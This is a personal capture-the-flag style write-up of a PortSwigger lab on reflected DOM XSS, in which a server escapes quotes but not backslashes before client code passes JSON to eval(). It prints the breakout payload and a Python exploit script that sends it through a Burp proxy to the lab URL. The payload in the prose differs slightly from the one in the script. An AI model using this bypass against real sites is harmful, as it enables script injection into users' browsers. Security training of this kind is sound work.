Shubham Ranpise

Back

XSS Lab 12

Reflected DOM XSS via unsafe eval() usage in client-side JavaScript

portswigger-labs content

Reflected DOM XSS#

This lab demonstrates a reflected DOM vulnerability where user-supplied input is echoed by the server and later processed unsafely by client-side JavaScript. The application returns the search term inside a JSON response which is consumed by a script that uses eval() on the JSON. Although the server escapes quotation marks in the JSON response, it fails to escape backslashes — allowing a crafted search term to manipulate the resulting JavaScript and invoke alert().

The payload injects a backslash so that the server’s escaping logic produces a double-backslash which effectively cancels the escaping of the quote. That closes the string early, then a subtraction operator separates expressions, alert(1) is executed, and the remainder of the object is closed and commented out. The generated response becomes something like:

{"searchTerm":"\\\"-alert(1)}//", "results":[]}
json

When this is passed to eval(), it results in execution of alert(1).

How Exploit Works#

  • The search parameter is reflected in a JSON response named search-results.
  • Client-side code reads that JSON and passes it to eval() (unsafe).
  • The application escapes double-quotes in the JSON but does not escape backslashes.
  • By injecting a backslash, the server produces a double-backslash which cancels the escaping, allowing the injected quote to terminate the string.
  • Use a small expression to separate the injection from alert(1) (e.g. subtraction operator -), then close the object and comment out the rest with }//.
  • The payload \"-alert(1)}// results in execution of alert(1) in the victim’s browser.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    # Check if Burp Suite is running and listening on the configured proxy.
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def exploit_xss(url, payload):
    # Exploit XSS in search parameter.
    uri = f"/?search={payload}"
    try:
        res = requests.get(url + uri, verify=False, proxies=proxies)
        res.raise_for_status()
    except Exception as e:
        print(f"[-] Error sending payload request: {e}")
        return False

    session = requests.Session()
    try:
        res = session.get(url, verify=False, proxies=proxies)
    except Exception as e:
        print(f"[-] Error fetching page to verify: {e}")
        return False

    if "Congratulations" in res.text:
        print("[+] Lab solved 🎉")
        return True
    else:
        print("[-] lab not solved.")
        return False

def main():
    # Entry point of the script.

    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Define XSS payload (kept exactly as in your friend's working exploit)
    payload = r"""\"}-alert(1);//"""

    # Step 3: Attempt exploitation
    print("[*] Attempting XSS...")
    if exploit_xss(url, payload):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()
python

See more portswigger-labs